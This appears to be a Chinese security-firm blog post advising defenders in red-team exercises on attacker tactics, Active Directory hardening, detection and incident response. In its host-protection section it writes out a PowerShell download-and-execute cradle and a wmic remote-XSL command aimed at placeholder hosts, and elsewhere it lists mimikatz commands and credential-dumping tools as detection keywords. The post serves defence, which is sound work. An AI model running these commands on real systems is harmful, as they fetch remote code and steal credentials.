热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

网站漏洞渗透测试项目复检分析

最近我们Sinesafe参加的几家机构的渗透测试防守方防护方案评估复查,部分防守方缺乏对攻击者的正确认知,攻击者的手法已经比较高超了,不扫

最近我们Sinesafe参加的几家机构的渗透测试防守方防护方案评估复查,部分防守方缺乏对攻击者的正确认知,攻击者的手法已经比较高超了,不扫描,不落地,污染日志等都很普及了。同时也要正确认知对手:攻防演练中,攻击者并非无所不能,他们面临着和防御方一样的问题:时间紧,任务重。所以攻击者的攻击目标,攻击手法也是有迹可循的,知己知彼才能百战百胜。

9b7fe3430c3b41ccb48a3772b73550f4.jpeg渗透测试

一、知彼

攻击者也是讲成本的,因此防守方最好的策略是:做的比其他防守方好一点点即可。好一点的含义:不在低级问题上犯错(弱密码、互联网应用远程RCE、管理后台暴露、重要服务器未打补丁等)。对于“时间紧、任务重”的防守方来说,修建固若金汤的防线显然意味着大成本投入,以及最紧缺的时间,因此本文不会面面俱到,只选择性价比高值得快速投入的安全措施和大家分享。

攻击者一般:目标明确、步骤清晰、控制成本、反检测,反清理、三流分立。

目标明确:攻击者只攻击得分项,和必要路径(外网入口,内网立足点),对这些目标采取高等级手段,会隐蔽操作;对非必要路径顺路控制下来的服务器,并不怕被发现,用起来比较随意,甚至主动制造噪音,干扰防守方。

步骤清晰:信息收集-控制入口-横向移动-维持权限-攻击目标系统。每一步都是经典操作和教科书式手法。

控制成本:

  1. 优先攻击高权限账号,如管理员,目标系统负责人账号;
  2. 优先攻击运维/安全人员账号和终端,这些人往往有服务器root账号,安全设备管理员账号,可以进一步深入控制;
  3. 优先攻击集中管控设施,如域控,集中身份认证系统,终端管理系统,攻陷单系统即获得公司内大部分系统的权限;
  4. 优先攻击基础设施,如DNS,DHCP,邮件系统,知识分享平台,oa系统,工单系统;这些系统有内置高权限账号,或可以帮助攻击者隐蔽痕迹。或Git/SVN等开发源代码管理服务器,通过代码审计发现应用0day漏洞。

反检测,反清理:

  1. 样本隐蔽技术(白利用(带微软签名的程序执行未签名的黑dll),样本不落地执行(从网上加载样本,只运行在内存,不落盘不惊动杀软));
  2. 快速扩散(攻击者会将攻击包做成自动化工具,降低人力投入,快速控制一批有漏洞发服务器);
  3. 停止日志外发,日志清除(脚本优先停止常见日志外发工具;同时有开源自动化工具来劫持日志产生的进程,使得系统不产生日志;使用完后删除access.log等日志);
  4. 减少扫描,通过分析日志、分析配置文件、管理员来源IP等方式来获取内网的其他机器IP信息,而不是扫描。
  5.  
  6. 点击添加图片描述(最多60个字)

065b6fa70905452996b56585154e8fce.png

三流分立:

  1. 扫描流:用来大批量扫描内网存活IP和漏洞,扫描源通常不被攻击者重视,被清除也不会影响到攻击计划,高水平攻击者通常使用扫描行为来分散防守方精力。
  2. 数据流:用来向外网大量传输非关键数据,通常是有互联网权限的终端或服务器(终端较多),很少有隧道行为或扫描行为,通过简单的https,sftp方式传输数据
  3. 控制流:用于接受和传递远控指令的服务器,攻击者最重视的设施,使用起来最为谨慎,和远控中心进行交流,常用组件cobaltstrike, empire;有隧道行为,且数据传输量很少,会连接若干个IP和域名(避免外网封禁),传输必定加密,不使用自签名证书。

在本次攻防实战演习准备阶段,攻击方准备了几十个C2域名。

二、知己知己,主要是知晓防守方防守区域内的资产信息,缩小暴露面。原则如下:

  1. 不用的系统,该下的下,该暂停的暂停。不用的功能,该下的下,该暂停的暂停。(平时就应该这样处理,而不是战时)
  2. 该取消访问的取消,能限制访问范围的限制访问范围。
  3. 在用的,搞清楚功能,双流(数据流和运维流)谁用,有没有风险,能否一键处置。

缩小暴露面 1.按资产所属纬度梳理

互联网资产、分支机构资产、子公司资产、外联公司资产、公有云资产、开发商、外包商。

容易忽视的:

  1. 公有云资产,因为有的业务部门和分支机构公有云申请都不经过IT部门,上面却放了大量业务数据。
  2. 开发商/外包商的资产。开发商/外包商一般给甲方外包开发信息系统,开发商/外包商公司内部也会自建Git/SVN等源代码管理服务器,存有已经交付给甲方的信息系统源码,而开发商/外包商的源码系统管理安全能力和甲方相比可能就差几个量级了。后果就是:通过获得的源码,发现系统应用0day,从而控制甲方已上线信息系统。

缩小暴露面 2.按资产属性梳理

特别关注资产的安全属性:中间件或框架(版本)、开放在公网API接口(特别是未下线的老接口)、管理后台开放在公网、高危功能(文件上传点、短信验证码、重置密码、文件下载)、远程接入点(VPN)、特权账户(应用管理特权账户、应用连接账户、系统管理特权账户、可以修改账户权限的账户、备份账户、高管层账户)。

每一个安全属性都是血的教训。

缩小暴露面 3.忽视点

  1. 所有内部文档服务器上(含OA、邮件系统、jira、wiki、知识库等)敏感信息清理或限制访问权限,不要有:网络拓扑、安全防护方案和部署位置、各类密码;
  2. 资产管理平台上,蜜罐不要叫蜜罐、安全设备IP要隐藏;
  3. 各类口令:弱口令、默认口令、已泄露口令。

每一个忽视点都是眼泪的结晶。

安全资产管理,更多内容参加:安全资产管理中容易被忽视的几点

三、防护关键点

临战前,再想按照大而全的梳理一遍,几无可能,最好就是把防护关键点过一遍,切记都实际看一遍,不要相信别人的反馈。

3.1 安全隔离

db0a1730a53048aba7fd81ef1bec7682.jpeg渗透测试绕过

从实战来看,网络层的访问控制被证明是最有效的(攻击者很难绕过去),不要相信应用层控制。网络层访问控制属于基础架构安全,这是最有效最重要的,整个安全防护的基础。

访问控制策略原则:明细允许,默认拒绝。

  1. 从内网去互联网的访问控制
  2. 办公终端:除个别协议无法限制目的IP外,其余协议全部限制。特殊访问需求,快速开通。有条件的考虑:终端不能直接访问互联网,需要访问互联网的两种解决方案:另外分配一台上网终端、虚拟浏览器
  3. 办公服务器:特殊访问需求开通,默认拒绝

生产网:生产网终端禁止上互联网、服务器特殊访问需求开通,默认拒绝

2.互联网访问内网:对互联网提供服务的服务器必须在DMZ,和内网隔离。

3.重要系统的访问控制策略

  • 基础设施如AD、邮件系统的访问控制。
  • 别小看基础设施ACL访问控制,这是对抗应用和系统漏洞的最低成本和最有效措施。漏洞层出不穷,唯有ACL访问控制药效持久,强烈推荐。
  • 终端安全管控、自动化运维系统等集中控制系统后台登录限制访问来源。(优先使用网络访问控制、其次使用系统层限制、搭配使用应用层限制)

3.2 AD防护

  1. 准备阶段

2.加固阶段

对抗权限提升:对域账号进行权限DACL梳理,加固高权限账号

  1. 检测高权限账号可以用bloodhound黑客工具监测,也可以通过System Internal Tools的ADExplorer来进行检测:
  2. 1)修改密码(建议在演习前临近时间进行修改)
  3. 2)调整权限和分组,根据账号的归属人的权限进行调账,取消非域管账号的敏感权限。
  4. 3)修改分组内的不合适的人员账号。
  5. 4)敏感账号不允许委派。
  6. 5)敏感账号不允许取消Kerberos预鉴权。
  7. 6)敏感账号的密码强度符合规定。
  8. 7)具备直接域管或者间接域管权限(例如可以修改Domain Admins的账号就具备间接域管权限)的账号的活动进行报备制度,演习期间未经允许不得进行任何操作,包括登录等等。
  9. 8)办公机和终端演习前全部重启,消除敏感账号凭据留存。
  10. 9)服务器登录查看相关凭据,如果有删除或通过注销来删除服务器上留存的凭据。
  11. 10)参照https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-f--securing-domain-admins-groups-in-active-directory配置域管理员权限。
  12. 对抗攻击者使用MS14-068,MS17-010攻击域:从旧到新依次安装DC上的windows补丁。
  13. 对抗攻击者使用ExchangeSSRF漏洞:从旧到新依次安装Exchange上的windows补丁。
  14. 对抗LDAP relay攻击:在域控上配置LDAP enforce signing。
  15. 对抗LDAP relay和SSRF攻击:在域控上配置LDAPS channel binding。
  16. 对抗LLMNR/NBT Poisoning攻击:关闭域内WPAD服务。

3.检测阶段

f6118220a9704c818cc502c773e2a349.png渗透测试检测阶段

原则:若域不安全,最佳修复方案是重装。

  1. 检测敏感共享目录访问:访问了AD服务器的非正常共享目录 (非SYSVOL文件夹)
  2. 检测mimikatz一系列攻击行为:
  3. Mimikatz通过sysmon进程来进行检测,常见关键字有“gentilkiwi (Benjamin DELPY)”(公司名称)、
  4. 其他关键字:kerberos::golden sekurlsa::pth kerberos::ptt lsadump::dcshadow lsadump::dcsync sekurlsa::logonpasswords privilege::debug misc::skeleton
  5. 检测Kerberos弱加密方式:非AES加密方式的Kerberos票据加密请求相当可疑
  6. 检测异常注册表变更和dump:DSRMAdminLogonBehavior
  7. 变更AdminSDHolder
  8. 导出HKLM\SAM内容
  9. 导出HKLM\SYSTEM内容
  10. 导出HKLM\SECURITY内容
  11. 检测ntdsutil滥用:使用了ntdsutil的敏感参数activate instance ntds ;使用了ntdsutil的敏感参数set dsrm password
  12. 检测SID history变更:账号加入SID History成功、失败
  13. 检测lazagne密码提取工具:特征 lazagne
  14. 攻击者喜欢用的其他工具:
  15. procdump、PsExec、cain、Mshta、cmstp、QuarkPwDump、getpass、gethash、ntdsdump、Get-PassHashes、Wce、psaattack。

3.3 主机防护(终端和服务器)对抗

攻击者在尝试控制终端和服务器时,为了绕过常规的杀毒软件,通常会使用一些免杀手段。而某些免杀手段(如白利用,样本不落地执行)由于非常稳定和高效,更是受到广大攻击者的青睐。

1.Powershell IEX组建下载执行.(文件在内存执行,不落硬盘)

利用代码示例:powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))">

监测特征:"IEX” AND “(New-Object Net.WebClient).DownloadString“

2.Windows系统白文件利用(wmic.exe

利用代码示例:cmd/c wmic os get /format:”\\x.x.x.x\1.xsl”&start/wait notepad

监测特征:"wmic os get" AND "/format"3.Windows系统白文件利用(csc.exe)

利用代码示例:

"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe"/noconfig /fullpaths@"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"

监测特征:"csc.exe" AND ("/r:System.EnterpriseServices.dll"OR "/unsafe")4.Windows系统白文件利用(msiexec.exe)

特征:被动执行后台执行的参数,有一定误报率。请自行研究,不再举例。

5.检测certutil白利用

特征:常见绕防火墙使用的参数。请自行研究,不再举例。

6.检测通过url.dll来进行不落地执行

请自行研究,不再举例。

3.4 账户和权限对抗

  • 高权限一律清理,限制使用范围,每次使用后确认。
  • 应用权限通过日志分析检测滥用。
  • 关注备份账户、可修改权限账户的使用。
  • 终端24小时重启一次。(对抗终端权限抓取类攻击)

3.5 瞬间死亡

瞬间死亡有两种方式:路径打穿、系统打穿。

3.5.1 路径打穿

直接从未想过(未设防)的路径攻击过来。邮件是控制终端第一选择入口,具体防护可参见《企业安全建设指南:金融行业安全架构与技术时间》第16章:邮件安全。

边缘网包括无线和自助终端,包括:打卡机、自动售卖机、会议室设备、ATM机、排队机等。限制无线和自助终端网络和内网访问。

限制分支机构、外联公司等网络和总部的网络访问。

不要相信理论上不能全通,但实际上存在全通内网的系统。(死于方便性)

3.5.2 系统打穿

cf013f50be1d43048b451b8e2afb6a25.jpeg

系统打穿,都是血泪史。因为我们总是忘记了这些最大的风险源。优先攻击中心化的系统和跨两网的系统,包括终端安全管控控制台(控制台安全防护能力很弱)、运维管理系统/Zabbix/Nagios/堡垒机等、单点登录SSO系统、AD活动目录;

  1. 优先攻击基础设施:DNS、DHCP、邮件系统、研发服务器SVN/Git;
  2. 高价值终端:
  3. 网络管理员:终端内有网络拓扑和ACL控制策略,甚至可以修改访问控制;
  4. 安全管理员:有安全防护方案和检测系统、告警系统登录权限,很多安全系统做了登录来源限制,绕过手段之一就是控制安全管理员的终端,同时抓取安全管理员账户密码,攻击者一举两得;
  5. 研发个人终端/运维个人终端:高价值数据;
  6. 内网扫描器:网络权限较大,哪都能去。
  7. 代码服务器:代码数据价值比较高。私有协议开发的应用程序,源码要保护好,有经验攻击团队带代码审计技能成员,通过源码审计发现应用0day

3.6 容易出问题的点

  • 互联网应用框架RCE
  • 应用和中间件管理后台暴露
  • VPN:未启用双因素,或存在未启用双因素的部分用户
  • 测试环境的测试系统未及时打补丁、弱密码
  • 通过邮件入口控制办公终端
  • 跨两网的设备
  • 服务器密码同质问题
  • 社工

四、事中和事后

前面分享了很多防护和检测的事项,但防守方到了这个阶段,更重要的是考虑一下事中的各种过载信息的研判和快速应急处置措施。

我们打内部攻防演习的时候,最大的困扰是决策和处置。

4.1 过载信息研判

有效高速的决策机制,什么权限范围内的由什么人决策,这是授权。

什么岗位(人)负责什么,这是职责划分。比如谁负责跟踪每条告警信息到Closed状态?谁负责断网?谁负责样本分析?谁负责失陷主机排查?谁负责溯源路径?谁负责记录?谁负责汇报?等等。

4.2 快速应急处置

4.2.1 硬件和后勤

  • 大的作战室,容纳全部防守队伍;
  • 好的白板(最好电子的),便于梳理攻击路径;
  • 准备好零食和一日三餐、行军床。

4.2.2 重要信息同步

  • 已经沦陷的IP清单(黑名单),同步给所有防守方;
  • 是否C2域名快速判断,注意真假难辨的域名。

4.2.3 各类应急处置措施

  • 断网:快速断网的操作规范和自动化工具
  • 诱饵
  • 临时添加ACL和FW规则
  • 下线业务:和业务方建立畅通的沟通机制和快速的决策机制

如果失陷(疑似)主机,决策用于诱饵,务必确保诱饵的风险可控,万一持续利用诱饵在内网横向移动,再进行限制就困难了。

注意体力分配,高水平攻击者通常使用扫描行为等方式来分散防守方精力。

4f4cde8200b84118a03673094445530a.jpeg

4.3 渗透测试复检

攻防实战演习后的总结改进提升,才是最终目的。

4.3.1 防护薄弱点和改进措施

  • 安全团队
  • 协作团队
  • 厂商和第三方

安全团队不好推动的工作,不好讲的话,要不到的资源,都可以在这里提出来。

应急处置薄弱点和改进措施,落实到人、计划和资源中,才是务实的。

4.3.3 资源不足,要资源

安全运营是必由之路,参见 金融业企业安全建设之路

7*24小时的安全运营,既然攻击对手是7*24小时的,为什么安全运营不是呢?

4.3.4 必要的管理层汇报

五、注意事项

不要影响业务。攻防演习前的加固,需要妥善评估对业务可用性影响,攻防演习中的应急处置,需要妥善评估对业务可用性影响,毕竟,业务可用性才是老大,安全不是,摆正心态和位置,如果对渗透测试有想法的朋友可以找专业的网站安全公司来处理解决,国内推荐Sinesafe,绿盟,启明星辰,等等的网站安全公司。


推荐阅读
  • yikesnews第11期:微软Office两个0day和一个提权0day
    点击阅读原文可点击链接根据法国大选被黑客干扰,发送了带漏洞的文档Trumps_Attack_on_Syria_English.docx而此漏洞与ESET&FireEy ... [详细]
  • 使用Bootstrap创建响应式渐变固定头部导航栏的方法
    本文详细介绍了如何利用Bootstrap框架构建一个具有渐变效果的固定顶部响应式导航栏,包括HTML结构、CSS样式以及JavaScript交互的完整实现过程。适合前端开发者和学习者参考。 ... [详细]
  • 掌握数据库引擎存储过程与系统视图查询:DBA与BI开发者的必备技能
    本文介绍了如何利用数据库引擎存储过程及系统视图查询数据库结构和对象信息,为数据库管理员(DBA)和商业智能(BI)开发人员提供实用的基础知识。文章涵盖了一系列常用的SQL Server存储过程和系统视图,帮助读者快速获取数据库的相关信息。 ... [详细]
  • 最佳PHP源码加密工具推荐
    本文探讨了几款高效的PHP源码加密工具,旨在帮助开发者保护其代码免受未授权访问。文章不仅介绍了商业软件的选择,还提供了一些免费且实用的加密工具及其使用方法。 ... [详细]
  • 本文介绍了如何利用Python进行批量图片尺寸调整,包括放大和等比例缩放。文中提供了详细的代码示例,并解释了每个步骤的具体实现方法。 ... [详细]
  • Coursera ML 机器学习
    2019独角兽企业重金招聘Python工程师标准线性回归算法计算过程CostFunction梯度下降算法多变量回归![选择特征](https:static.oschina.n ... [详细]
  • 本文将探讨2015年RCTF竞赛中的一道PWN题目——shaxian,重点分析其利用Fastbin和堆溢出的技巧。通过详细解析代码流程和漏洞利用过程,帮助读者理解此类题目的破解方法。 ... [详细]
  • 本文详细介绍了 Python 中的条件语句和循环结构。主要内容包括:1. 分支语句(if...elif...else);2. 循环语句(for, while 及嵌套循环);3. 控制循环的语句(break, continue, else)。通过具体示例,帮助读者更好地理解和应用这些语句。 ... [详细]
  • 本文探讨了如何在Classic ASP中实现与PHP的hash_hmac('SHA256', $message, pack('H*', $secret))函数等效的哈希生成方法。通过分析不同实现方式及其产生的差异,提供了一种使用Microsoft .NET Framework的解决方案。 ... [详细]
  • 探讨ChatGPT在法律和版权方面的潜在风险及影响,分析其作为内容创造工具的合法性和合规性。 ... [详细]
  • CentOS 7.6环境下Prometheus与Grafana的集成部署指南
    本文旨在提供一套详细的步骤,指导读者如何在CentOS 7.6操作系统上成功安装和配置Prometheus 2.17.1及Grafana 6.7.2-1,实现高效的数据监控与可视化。 ... [详细]
  • 原作者:小甲鱼(注:最左边是文件头的偏移量。)IMAGE_DOS_HEADERSTRUCT{+0hWORDe_magicMagi ... [详细]
  • 本文详细介绍了如何通过修改Lua源码或使用动态链接库(DLL)的方式实现Lua与C++之间的高级交互,包括如何编译Lua源码、添加自定义API以及在C++中加载和调用Lua脚本。 ... [详细]
  • 本文详细介绍了在Java项目中如何使用de.codecentric.namespace.weatherservice.Weather类中的getServiceName()方法,并提供了多个实际应用的代码示例。 ... [详细]
  • 本文旨在深入探讨ASP.NET MVC框架的基本构成,包括其项目目录结构和关键的DLL文件,帮助开发者更好地理解和利用这一强大的Web开发工具。 ... [详细]
author-avatar
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有